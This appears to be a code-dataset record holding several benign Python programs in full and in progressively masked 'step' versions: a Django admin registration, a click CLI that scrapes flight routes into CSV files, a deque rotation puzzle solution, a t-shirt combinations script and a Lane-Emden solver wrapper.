"step-5": "from django.contrib import admin\nfrom .models import StoreId\n\n# Register your models here.\nclass StoreIdAdmin(admin.ModelAdmin):\n list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id', 'start_date', 'end_date')\n search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id']\n\nadmin.site.register(StoreId, StoreIdAdmin)\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
import os
import time
import json
import click
import click_log
import logging
from flightsio.scraper import FlightScraper
logger = logging.getLogger(__name__)
click_log.basic_config(logger)
@click.group()
def main():
"""
An empty click group, required in order to bundle the other commands.
"""
pass
@main.command(help="""Reads the entire destination list of of the given airport
returns the name of the airport and url associated with it.
Sample usage: fio destinations --from-airport PHX""")
@click.option('--from-airport', '-a', help='The three letter code of the source airport. I.e. PHX')
@click_log.simple_verbosity_option(logger)
def destinations(from_airport):
if not from_airport:
logger.error('Unable to get destinations without an aiport code. Use fio destinations --help')
return
destinations = FlightScraper().get_destinations(from_airport.upper())
logger.info(json.dumps(destinations, indent=4))
@main.command(help="""Reads the entire destination list of of the given airport and crawls
each destination to obtain the list of routes. The output files will
stored in the given folder. Sample usage:
fio all-routes --from-airport PHX --output ./out
""")
@click.option('--from-airport', '-a', help='The three letter code of the source airport. I.e. PHX')
@click.option('--output', '-o', help='The path used to write the parsed routes.', default='./output')
@click_log.simple_verbosity_option(logger)
def all_routes(from_airport, output):
if not from_airport:
logger.error('Unable to get all routes without an aiport code. Use fio all_routes --help')
return
airport = from_airport.upper()
scraper = FlightScraper()
airport_path = os.path.join(output, airport)
logger.info(f'Creating {airport_path}')
os.makedirs(airport_path, exist_ok=True)
for destination, routes in scraper.get_routes(airport):
write_csv(airport_path, destination, routes)
@main.command(help="""Reads the route list between a source airport and a destination airport and
writes the result in the output folder. Sample usage:
fio routes --from-airport PHX --to-airport OKC --output ./out
""")
@click.option('--from-airport', '-a', help='The three letter code of the source airport. I.e. PHX')
@click.option('--to-airport', '-b', help='The three letter code of the destination airport. I.e. OKC')
@click.option('--output', '-o', help='The path used to write the parsed routes.', default='./output')
@click_log.simple_verbosity_option(logger)
def routes(from_airport, to_airport, output):
if not from_airport or not to_airport:
logger.error('Unable to get routes without aiport codes. Use fio routes --help')
return
airport = from_airport.upper()
scraper = FlightScraper()
route_path = os.path.join(output, 'single_routes')
logger.info(f'Creating {route_path}')
os.makedirs(route_path, exist_ok=True)
destination_link = scraper.get_fm_link(from_airport, to_airport)
name, routes = scraper.get_flight_foutes(to_airport, destination_link)
write_csv(route_path, f'{from_airport}_{to_airport}', routes)
def write_csv(path, destination, routes):
if not len(routes):
print(f'{destination} has no routes. Nothing to write.')
return
header = ','.join(routes[0])
with open(os.path.join(path, f'{destination}.csv'), 'w') as f:
f.write(header + '\n')
for route in routes:
row = ','.join((v.strip().replace(',', ' ') for v in route.values()))
f.write(row + '\n')
def write_json(destination_path, flight, routes):
with open(os.path.join(destination_path, f'{flight}.json'), 'w') as f:
f.write(json.dumps(routes, indent=4))
if __name__ == '__main__':
main()
|
normal
|
{
"blob_id": "234aad868ea71bbe476b303bcff37221820f1d90",
"index": 4310,
"step-1": "<mask token>\n\n\[email protected]()\ndef main():\n \"\"\"\n An empty click group, required in order to bundle the other commands.\n \"\"\"\n pass\n\n\n<mask token>\n\n\[email protected](help=\n \"\"\"Reads the route list between a source airport and a destination airport and\n writes the result in the output folder. Sample usage:\n fio routes --from-airport PHX --to-airport OKC --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--to-airport', '-b', help=\n 'The three letter code of the destination airport. I.e. OKC')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef routes(from_airport, to_airport, output):\n if not from_airport or not to_airport:\n logger.error(\n 'Unable to get routes without aiport codes. Use fio routes --help')\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n route_path = os.path.join(output, 'single_routes')\n logger.info(f'Creating {route_path}')\n os.makedirs(route_path, exist_ok=True)\n destination_link = scraper.get_fm_link(from_airport, to_airport)\n name, routes = scraper.get_flight_foutes(to_airport, destination_link)\n write_csv(route_path, f'{from_airport}_{to_airport}', routes)\n\n\ndef write_csv(path, destination, routes):\n if not len(routes):\n print(f'{destination} has no routes. Nothing to write.')\n return\n header = ','.join(routes[0])\n with open(os.path.join(path, f'{destination}.csv'), 'w') as f:\n f.write(header + '\\n')\n for route in routes:\n row = ','.join(v.strip().replace(',', ' ') for v in route.values())\n f.write(row + '\\n')\n\n\ndef write_json(destination_path, flight, routes):\n with open(os.path.join(destination_path, f'{flight}.json'), 'w') as f:\n f.write(json.dumps(routes, indent=4))\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\[email protected]()\ndef main():\n \"\"\"\n An empty click group, required in order to bundle the other commands.\n \"\"\"\n pass\n\n\[email protected](help=\n \"\"\"Reads the entire destination list of of the given airport\n returns the name of the airport and url associated with it.\n Sample usage: fio destinations --from-airport PHX\"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\n@click_log.simple_verbosity_option(logger)\ndef destinations(from_airport):\n if not from_airport:\n logger.error(\n 'Unable to get destinations without an aiport code. Use fio destinations --help'\n )\n return\n destinations = FlightScraper().get_destinations(from_airport.upper())\n logger.info(json.dumps(destinations, indent=4))\n\n\[email protected](help=\n \"\"\"Reads the entire destination list of of the given airport and crawls\n each destination to obtain the list of routes. The output files will\n stored in the given folder. Sample usage:\n fio all-routes --from-airport PHX --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef all_routes(from_airport, output):\n if not from_airport:\n logger.error(\n 'Unable to get all routes without an aiport code. Use fio all_routes --help'\n )\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n airport_path = os.path.join(output, airport)\n logger.info(f'Creating {airport_path}')\n os.makedirs(airport_path, exist_ok=True)\n for destination, routes in scraper.get_routes(airport):\n write_csv(airport_path, destination, routes)\n\n\[email protected](help=\n \"\"\"Reads the route list between a source airport and a destination airport and\n writes the result in the output folder. Sample usage:\n fio routes --from-airport PHX --to-airport OKC --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--to-airport', '-b', help=\n 'The three letter code of the destination airport. I.e. OKC')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef routes(from_airport, to_airport, output):\n if not from_airport or not to_airport:\n logger.error(\n 'Unable to get routes without aiport codes. Use fio routes --help')\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n route_path = os.path.join(output, 'single_routes')\n logger.info(f'Creating {route_path}')\n os.makedirs(route_path, exist_ok=True)\n destination_link = scraper.get_fm_link(from_airport, to_airport)\n name, routes = scraper.get_flight_foutes(to_airport, destination_link)\n write_csv(route_path, f'{from_airport}_{to_airport}', routes)\n\n\ndef write_csv(path, destination, routes):\n if not len(routes):\n print(f'{destination} has no routes. Nothing to write.')\n return\n header = ','.join(routes[0])\n with open(os.path.join(path, f'{destination}.csv'), 'w') as f:\n f.write(header + '\\n')\n for route in routes:\n row = ','.join(v.strip().replace(',', ' ') for v in route.values())\n f.write(row + '\\n')\n\n\ndef write_json(destination_path, flight, routes):\n with open(os.path.join(destination_path, f'{flight}.json'), 'w') as f:\n f.write(json.dumps(routes, indent=4))\n\n\n<mask token>\n",
"step-3": "<mask token>\nclick_log.basic_config(logger)\n\n\[email protected]()\ndef main():\n \"\"\"\n An empty click group, required in order to bundle the other commands.\n \"\"\"\n pass\n\n\[email protected](help=\n \"\"\"Reads the entire destination list of of the given airport\n returns the name of the airport and url associated with it.\n Sample usage: fio destinations --from-airport PHX\"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\n@click_log.simple_verbosity_option(logger)\ndef destinations(from_airport):\n if not from_airport:\n logger.error(\n 'Unable to get destinations without an aiport code. Use fio destinations --help'\n )\n return\n destinations = FlightScraper().get_destinations(from_airport.upper())\n logger.info(json.dumps(destinations, indent=4))\n\n\[email protected](help=\n \"\"\"Reads the entire destination list of of the given airport and crawls\n each destination to obtain the list of routes. The output files will\n stored in the given folder. Sample usage:\n fio all-routes --from-airport PHX --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef all_routes(from_airport, output):\n if not from_airport:\n logger.error(\n 'Unable to get all routes without an aiport code. Use fio all_routes --help'\n )\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n airport_path = os.path.join(output, airport)\n logger.info(f'Creating {airport_path}')\n os.makedirs(airport_path, exist_ok=True)\n for destination, routes in scraper.get_routes(airport):\n write_csv(airport_path, destination, routes)\n\n\[email protected](help=\n \"\"\"Reads the route list between a source airport and a destination airport and\n writes the result in the output folder. Sample usage:\n fio routes --from-airport PHX --to-airport OKC --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--to-airport', '-b', help=\n 'The three letter code of the destination airport. I.e. OKC')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef routes(from_airport, to_airport, output):\n if not from_airport or not to_airport:\n logger.error(\n 'Unable to get routes without aiport codes. Use fio routes --help')\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n route_path = os.path.join(output, 'single_routes')\n logger.info(f'Creating {route_path}')\n os.makedirs(route_path, exist_ok=True)\n destination_link = scraper.get_fm_link(from_airport, to_airport)\n name, routes = scraper.get_flight_foutes(to_airport, destination_link)\n write_csv(route_path, f'{from_airport}_{to_airport}', routes)\n\n\ndef write_csv(path, destination, routes):\n if not len(routes):\n print(f'{destination} has no routes. Nothing to write.')\n return\n header = ','.join(routes[0])\n with open(os.path.join(path, f'{destination}.csv'), 'w') as f:\n f.write(header + '\\n')\n for route in routes:\n row = ','.join(v.strip().replace(',', ' ') for v in route.values())\n f.write(row + '\\n')\n\n\ndef write_json(destination_path, flight, routes):\n with open(os.path.join(destination_path, f'{flight}.json'), 'w') as f:\n f.write(json.dumps(routes, indent=4))\n\n\nif __name__ == '__main__':\n main()\n",
"step-4": "<mask token>\nlogger = logging.getLogger(__name__)\nclick_log.basic_config(logger)\n\n\[email protected]()\ndef main():\n \"\"\"\n An empty click group, required in order to bundle the other commands.\n \"\"\"\n pass\n\n\[email protected](help=\n \"\"\"Reads the entire destination list of of the given airport\n returns the name of the airport and url associated with it.\n Sample usage: fio destinations --from-airport PHX\"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\n@click_log.simple_verbosity_option(logger)\ndef destinations(from_airport):\n if not from_airport:\n logger.error(\n 'Unable to get destinations without an aiport code. Use fio destinations --help'\n )\n return\n destinations = FlightScraper().get_destinations(from_airport.upper())\n logger.info(json.dumps(destinations, indent=4))\n\n\[email protected](help=\n \"\"\"Reads the entire destination list of of the given airport and crawls\n each destination to obtain the list of routes. The output files will\n stored in the given folder. Sample usage:\n fio all-routes --from-airport PHX --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef all_routes(from_airport, output):\n if not from_airport:\n logger.error(\n 'Unable to get all routes without an aiport code. Use fio all_routes --help'\n )\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n airport_path = os.path.join(output, airport)\n logger.info(f'Creating {airport_path}')\n os.makedirs(airport_path, exist_ok=True)\n for destination, routes in scraper.get_routes(airport):\n write_csv(airport_path, destination, routes)\n\n\[email protected](help=\n \"\"\"Reads the route list between a source airport and a destination airport and\n writes the result in the output folder. Sample usage:\n fio routes --from-airport PHX --to-airport OKC --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--to-airport', '-b', help=\n 'The three letter code of the destination airport. I.e. OKC')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef routes(from_airport, to_airport, output):\n if not from_airport or not to_airport:\n logger.error(\n 'Unable to get routes without aiport codes. Use fio routes --help')\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n route_path = os.path.join(output, 'single_routes')\n logger.info(f'Creating {route_path}')\n os.makedirs(route_path, exist_ok=True)\n destination_link = scraper.get_fm_link(from_airport, to_airport)\n name, routes = scraper.get_flight_foutes(to_airport, destination_link)\n write_csv(route_path, f'{from_airport}_{to_airport}', routes)\n\n\ndef write_csv(path, destination, routes):\n if not len(routes):\n print(f'{destination} has no routes. Nothing to write.')\n return\n header = ','.join(routes[0])\n with open(os.path.join(path, f'{destination}.csv'), 'w') as f:\n f.write(header + '\\n')\n for route in routes:\n row = ','.join(v.strip().replace(',', ' ') for v in route.values())\n f.write(row + '\\n')\n\n\ndef write_json(destination_path, flight, routes):\n with open(os.path.join(destination_path, f'{flight}.json'), 'w') as f:\n f.write(json.dumps(routes, indent=4))\n\n\nif __name__ == '__main__':\n main()\n",
"step-5": "import os\nimport time\nimport json\nimport click\nimport click_log\nimport logging\n\nfrom flightsio.scraper import FlightScraper\n\nlogger = logging.getLogger(__name__)\nclick_log.basic_config(logger)\n\n\[email protected]()\ndef main():\n \"\"\"\n An empty click group, required in order to bundle the other commands.\n \"\"\"\n pass\n\n\[email protected](help=\"\"\"Reads the entire destination list of of the given airport\n returns the name of the airport and url associated with it.\n Sample usage: fio destinations --from-airport PHX\"\"\")\[email protected]('--from-airport', '-a', help='The three letter code of the source airport. I.e. PHX')\n@click_log.simple_verbosity_option(logger)\ndef destinations(from_airport):\n\n if not from_airport:\n logger.error('Unable to get destinations without an aiport code. Use fio destinations --help')\n return\n\n destinations = FlightScraper().get_destinations(from_airport.upper())\n logger.info(json.dumps(destinations, indent=4))\n\n\[email protected](help=\"\"\"Reads the entire destination list of of the given airport and crawls\n each destination to obtain the list of routes. The output files will\n stored in the given folder. Sample usage:\n fio all-routes --from-airport PHX --output ./out\n \"\"\")\[email protected]('--from-airport', '-a', help='The three letter code of the source airport. I.e. PHX')\[email protected]('--output', '-o', help='The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef all_routes(from_airport, output):\n\n if not from_airport:\n logger.error('Unable to get all routes without an aiport code. Use fio all_routes --help')\n return\n\n airport = from_airport.upper()\n\n scraper = FlightScraper()\n airport_path = os.path.join(output, airport)\n logger.info(f'Creating {airport_path}')\n os.makedirs(airport_path, exist_ok=True)\n\n for destination, routes in scraper.get_routes(airport):\n write_csv(airport_path, destination, routes)\n\n\[email protected](help=\"\"\"Reads the route list between a source airport and a destination airport and\n writes the result in the output folder. Sample usage:\n fio routes --from-airport PHX --to-airport OKC --output ./out\n \"\"\")\[email protected]('--from-airport', '-a', help='The three letter code of the source airport. I.e. PHX')\[email protected]('--to-airport', '-b', help='The three letter code of the destination airport. I.e. OKC')\[email protected]('--output', '-o', help='The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef routes(from_airport, to_airport, output):\n\n if not from_airport or not to_airport:\n logger.error('Unable to get routes without aiport codes. Use fio routes --help')\n return\n\n airport = from_airport.upper()\n\n scraper = FlightScraper()\n route_path = os.path.join(output, 'single_routes')\n logger.info(f'Creating {route_path}')\n os.makedirs(route_path, exist_ok=True)\n\n destination_link = scraper.get_fm_link(from_airport, to_airport)\n name, routes = scraper.get_flight_foutes(to_airport, destination_link)\n\n write_csv(route_path, f'{from_airport}_{to_airport}', routes)\n\n\ndef write_csv(path, destination, routes):\n\n if not len(routes):\n print(f'{destination} has no routes. Nothing to write.')\n return\n\n header = ','.join(routes[0])\n with open(os.path.join(path, f'{destination}.csv'), 'w') as f:\n f.write(header + '\\n')\n for route in routes:\n row = ','.join((v.strip().replace(',', ' ') for v in route.values()))\n f.write(row + '\\n')\n\n\ndef write_json(destination_path, flight, routes):\n\n with open(os.path.join(destination_path, f'{flight}.json'), 'w') as f:\n f.write(json.dumps(routes, indent=4))\n\n\nif __name__ == '__main__':\n main()\n",
"step-ids": [
4,
6,
7,
8,
10
]
}
|
[
4,
6,
7,
8,
10
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for k in range(1, size + 1):
nums.append(k)
<|reserved_special_token_0|>
while position != deque([]):
if position[0] == 1:
size.popleft()
position.popleft()
for i in range(len(position)):
position[i] -= 1
else:
right = 0
left = 0
if position[0] <= (len(size) + 2) // 2:
size.rotate(-1)
cnt += 1
for i in range(len(position)):
position[i] -= 1
if position[i] <= 0:
position[i] = len(size)
else:
size.rotate(1)
cnt += 1
for i in range(len(position)):
position[i] += 1
if position[i] > len(size):
position[i] = 1
print(cnt)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
input = sys.stdin.readline
<|reserved_special_token_0|>
size, num = map(int, input().split())
position = list(map(int, input().split()))
cnt = 0
nums = []
for k in range(1, size + 1):
nums.append(k)
size = deque(nums)
position = deque(position)
while position != deque([]):
if position[0] == 1:
size.popleft()
position.popleft()
for i in range(len(position)):
position[i] -= 1
else:
right = 0
left = 0
if position[0] <= (len(size) + 2) // 2:
size.rotate(-1)
cnt += 1
for i in range(len(position)):
position[i] -= 1
if position[i] <= 0:
position[i] = len(size)
else:
size.rotate(1)
cnt += 1
for i in range(len(position)):
position[i] += 1
if position[i] > len(size):
position[i] = 1
print(cnt)
<|reserved_special_token_1|>
import sys
input = sys.stdin.readline
from collections import deque
size, num = map(int, input().split())
position = list(map(int, input().split()))
cnt = 0
nums = []
for k in range(1, size + 1):
nums.append(k)
size = deque(nums)
position = deque(position)
while position != deque([]):
if position[0] == 1:
size.popleft()
position.popleft()
for i in range(len(position)):
position[i] -= 1
else:
right = 0
left = 0
if position[0] <= (len(size) + 2) // 2:
size.rotate(-1)
cnt += 1
for i in range(len(position)):
position[i] -= 1
if position[i] <= 0:
position[i] = len(size)
else:
size.rotate(1)
cnt += 1
for i in range(len(position)):
position[i] += 1
if position[i] > len(size):
position[i] = 1
print(cnt)
|
flexible
|
{
"blob_id": "c0c0ed31a09f2b49448bc1f3519aa61daaba20af",
"index": 5023,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor k in range(1, size + 1):\n nums.append(k)\n<mask token>\nwhile position != deque([]):\n if position[0] == 1:\n size.popleft()\n position.popleft()\n for i in range(len(position)):\n position[i] -= 1\n else:\n right = 0\n left = 0\n if position[0] <= (len(size) + 2) // 2:\n size.rotate(-1)\n cnt += 1\n for i in range(len(position)):\n position[i] -= 1\n if position[i] <= 0:\n position[i] = len(size)\n else:\n size.rotate(1)\n cnt += 1\n for i in range(len(position)):\n position[i] += 1\n if position[i] > len(size):\n position[i] = 1\nprint(cnt)\n",
"step-3": "<mask token>\ninput = sys.stdin.readline\n<mask token>\nsize, num = map(int, input().split())\nposition = list(map(int, input().split()))\ncnt = 0\nnums = []\nfor k in range(1, size + 1):\n nums.append(k)\nsize = deque(nums)\nposition = deque(position)\nwhile position != deque([]):\n if position[0] == 1:\n size.popleft()\n position.popleft()\n for i in range(len(position)):\n position[i] -= 1\n else:\n right = 0\n left = 0\n if position[0] <= (len(size) + 2) // 2:\n size.rotate(-1)\n cnt += 1\n for i in range(len(position)):\n position[i] -= 1\n if position[i] <= 0:\n position[i] = len(size)\n else:\n size.rotate(1)\n cnt += 1\n for i in range(len(position)):\n position[i] += 1\n if position[i] > len(size):\n position[i] = 1\nprint(cnt)\n",
"step-4": "import sys\ninput = sys.stdin.readline\nfrom collections import deque\nsize, num = map(int, input().split())\nposition = list(map(int, input().split()))\ncnt = 0\nnums = []\nfor k in range(1, size + 1):\n nums.append(k)\nsize = deque(nums)\nposition = deque(position)\nwhile position != deque([]):\n if position[0] == 1:\n size.popleft()\n position.popleft()\n for i in range(len(position)):\n position[i] -= 1\n else:\n right = 0\n left = 0\n if position[0] <= (len(size) + 2) // 2:\n size.rotate(-1)\n cnt += 1\n for i in range(len(position)):\n position[i] -= 1\n if position[i] <= 0:\n position[i] = len(size)\n else:\n size.rotate(1)\n cnt += 1\n for i in range(len(position)):\n position[i] += 1\n if position[i] > len(size):\n position[i] = 1\nprint(cnt)\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for color in list_1:
for size in list_2:
print(color, size)
<|reserved_special_token_0|>
list_3.reverse()
print(list_3)
<|reserved_special_token_1|>
list_1 = ['color', 'white', 'black']
list_2 = ['short', 'medium', 'large', 'xl']
for color in list_1:
for size in list_2:
print(color, size)
list_3 = [(color, size) for color in list_1 for size in list_2]
list_3.reverse()
print(list_3)
<|reserved_special_token_1|>
list_1 = ['color','white','black']#taking the colors of t-shirts as input
list_2 = ['short','medium','large','xl']#taking sizes of t-shirts as input
for color in list_1:
for size in list_2:
#using cartesien product asking to give output as the combinations of color and size of t-shirts we have
print(color,size)
#using list comprehension for the above input giving the same output but in reverse order
list_3 = [ (color,size) for color in list_1 for size in list_2]
list_3.reverse()#used reverse method in lists
print(list_3)
|
flexible
|
{
"blob_id": "6cba431650ee8b74baa8310c144321b2e587155e",
"index": 2163,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor color in list_1:\n for size in list_2:\n print(color, size)\n<mask token>\nlist_3.reverse()\nprint(list_3)\n",
"step-3": "list_1 = ['color', 'white', 'black']\nlist_2 = ['short', 'medium', 'large', 'xl']\nfor color in list_1:\n for size in list_2:\n print(color, size)\nlist_3 = [(color, size) for color in list_1 for size in list_2]\nlist_3.reverse()\nprint(list_3)\n",
"step-4": "list_1 = ['color','white','black']#taking the colors of t-shirts as input\r\n\r\nlist_2 = ['short','medium','large','xl']#taking sizes of t-shirts as input \r\n\r\nfor color in list_1: \r\n \r\n for size in list_2:\r\n \r\n#using cartesien product asking to give output as the combinations of color and size of t-shirts we have\r\n \r\n print(color,size) \r\n \r\n#using list comprehension for the above input giving the same output but in reverse order \r\n\r\nlist_3 = [ (color,size) for color in list_1 for size in list_2]\r\n\r\nlist_3.reverse()#used reverse method in lists\r\n\r\nprint(list_3)\r\n\r\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
<|reserved_special_token_0|>
def lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0):
"""
Interface to FORTRAN90 Lane-Emden Integrator.
Call:
ndata, data = laneemden.lane_emden_int(dz, n, w)
INPUT:
dz:
step in z, maye use 2**(-14)
n:
polytropic index (use 3.)
w:
rotation parameter(use 0. for non-rot)
w = 2 Omega^2 / (4 pi G rho_c)
OUTPUT:
ndata:
number of last point (starts with 0)
data:
output data in form [0:ndata,0:1]
index 0:
equidistant grid with step size dz starting at 0
index 1:
0: theta(z)
1: d theta(z) / dz
"""
_solver.lane(dz, n, w)
out = _solver.laneout
n = int(out.ndata)
t = out.theta
return n, t[0:n + 1, :]
def lane_emden_step(x, y, dx, n, w):
"""
This allows a single call to the rk4 subroutine.
It turns out to be *way* less efficient.
Do not use.
"""
_solver.rk4(x, y[0], y[1], dx, n, w)
out = _solver.rk4out
return np.array([out.z0, out.z1])
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def test():
"""
A simple test.
"""
n = 3.0
dz = 2.0 ** -14
_solver.lane(dz, n)
out = _solver.laneout
n = out.ndata
t = out.theta
return t, n
def lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0):
"""
Interface to FORTRAN90 Lane-Emden Integrator.
Call:
ndata, data = laneemden.lane_emden_int(dz, n, w)
INPUT:
dz:
step in z, maye use 2**(-14)
n:
polytropic index (use 3.)
w:
rotation parameter(use 0. for non-rot)
w = 2 Omega^2 / (4 pi G rho_c)
OUTPUT:
ndata:
number of last point (starts with 0)
data:
output data in form [0:ndata,0:1]
index 0:
equidistant grid with step size dz starting at 0
index 1:
0: theta(z)
1: d theta(z) / dz
"""
_solver.lane(dz, n, w)
out = _solver.laneout
n = int(out.ndata)
t = out.theta
return n, t[0:n + 1, :]
def lane_emden_step(x, y, dx, n, w):
"""
This allows a single call to the rk4 subroutine.
It turns out to be *way* less efficient.
Do not use.
"""
_solver.rk4(x, y[0], y[1], dx, n, w)
out = _solver.rk4out
return np.array([out.z0, out.z1])
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def test():
"""
A simple test.
"""
n = 3.0
dz = 2.0 ** -14
_solver.lane(dz, n)
out = _solver.laneout
n = out.ndata
t = out.theta
return t, n
def lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0):
"""
Interface to FORTRAN90 Lane-Emden Integrator.
Call:
ndata, data = laneemden.lane_emden_int(dz, n, w)
INPUT:
dz:
step in z, maye use 2**(-14)
n:
polytropic index (use 3.)
w:
rotation parameter(use 0. for non-rot)
w = 2 Omega^2 / (4 pi G rho_c)
OUTPUT:
ndata:
number of last point (starts with 0)
data:
output data in form [0:ndata,0:1]
index 0:
equidistant grid with step size dz starting at 0
index 1:
0: theta(z)
1: d theta(z) / dz
"""
_solver.lane(dz, n, w)
out = _solver.laneout
n = int(out.ndata)
t = out.theta
return n, t[0:n + 1, :]
def lane_emden_step(x, y, dx, n, w):
"""
This allows a single call to the rk4 subroutine.
It turns out to be *way* less efficient.
Do not use.
"""
_solver.rk4(x, y[0], y[1], dx, n, w)
out = _solver.rk4out
return np.array([out.z0, out.z1])
if __name__ == '__main__':
t, n = test()
print(t, n)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
import numpy as np
from . import _solver
def test():
"""
A simple test.
"""
n = 3.0
dz = 2.0 ** -14
_solver.lane(dz, n)
out = _solver.laneout
n = out.ndata
t = out.theta
return t, n
def lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0):
"""
Interface to FORTRAN90 Lane-Emden Integrator.
Call:
ndata, data = laneemden.lane_emden_int(dz, n, w)
INPUT:
dz:
step in z, maye use 2**(-14)
n:
polytropic index (use 3.)
w:
rotation parameter(use 0. for non-rot)
w = 2 Omega^2 / (4 pi G rho_c)
OUTPUT:
ndata:
number of last point (starts with 0)
data:
output data in form [0:ndata,0:1]
index 0:
equidistant grid with step size dz starting at 0
index 1:
0: theta(z)
1: d theta(z) / dz
"""
_solver.lane(dz, n, w)
out = _solver.laneout
n = int(out.ndata)
t = out.theta
return n, t[0:n + 1, :]
def lane_emden_step(x, y, dx, n, w):
"""
This allows a single call to the rk4 subroutine.
It turns out to be *way* less efficient.
Do not use.
"""
_solver.rk4(x, y[0], y[1], dx, n, w)
out = _solver.rk4out
return np.array([out.z0, out.z1])
if __name__ == '__main__':
t, n = test()
print(t, n)
<|reserved_special_token_1|>
#! /bin/env python3
"""
Lane Emden Python interface.
Main routine:
lane_emden_int(dz, n)
"""
import numpy as np
from . import _solver
def test():
"""
A simple test.
"""
n = 3.
dz = 2.**(-14)
_solver.lane(dz,n)
out = _solver.laneout
n = out.ndata
t = out.theta
return t,n
def lane_emden_int(dz = 2.**(-14), n = 3., w = 0.):
"""
Interface to FORTRAN90 Lane-Emden Integrator.
Call:
ndata, data = laneemden.lane_emden_int(dz, n, w)
INPUT:
dz:
step in z, maye use 2**(-14)
n:
polytropic index (use 3.)
w:
rotation parameter(use 0. for non-rot)
w = 2 Omega^2 / (4 pi G rho_c)
OUTPUT:
ndata:
number of last point (starts with 0)
data:
output data in form [0:ndata,0:1]
index 0:
equidistant grid with step size dz starting at 0
index 1:
0: theta(z)
1: d theta(z) / dz
"""
_solver.lane(dz, n, w)
out = _solver.laneout
n = int(out.ndata)
t = out.theta
return n,t[0:n+1,:]
def lane_emden_step(x,y,dx,n,w):
"""
This allows a single call to the rk4 subroutine.
It turns out to be *way* less efficient.
Do not use.
"""
_solver.rk4(x,y[0],y[1],dx,n,w)
out = _solver.rk4out
return np.array([out.z0,out.z1])
if __name__ == '__main__':
t,n = test()
print(t, n)
|
flexible
|
{
"blob_id": "10723f703f40b5db2b7c9532cda520b2ae078546",
"index": 2175,
"step-1": "<mask token>\n\n\ndef lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0):\n \"\"\"\n Interface to FORTRAN90 Lane-Emden Integrator.\n\n Call:\n ndata, data = laneemden.lane_emden_int(dz, n, w)\n\n INPUT:\n dz:\n step in z, maye use 2**(-14)\n n:\n polytropic index (use 3.)\n w:\n rotation parameter(use 0. for non-rot)\n w = 2 Omega^2 / (4 pi G rho_c)\n\n OUTPUT:\n ndata:\n number of last point (starts with 0)\n data:\n output data in form [0:ndata,0:1]\n index 0:\n equidistant grid with step size dz starting at 0\n index 1:\n 0: theta(z)\n 1: d theta(z) / dz\n \"\"\"\n _solver.lane(dz, n, w)\n out = _solver.laneout\n n = int(out.ndata)\n t = out.theta\n return n, t[0:n + 1, :]\n\n\ndef lane_emden_step(x, y, dx, n, w):\n \"\"\"\n This allows a single call to the rk4 subroutine.\n\n It turns out to be *way* less efficient.\n Do not use.\n \"\"\"\n _solver.rk4(x, y[0], y[1], dx, n, w)\n out = _solver.rk4out\n return np.array([out.z0, out.z1])\n\n\n<mask token>\n",
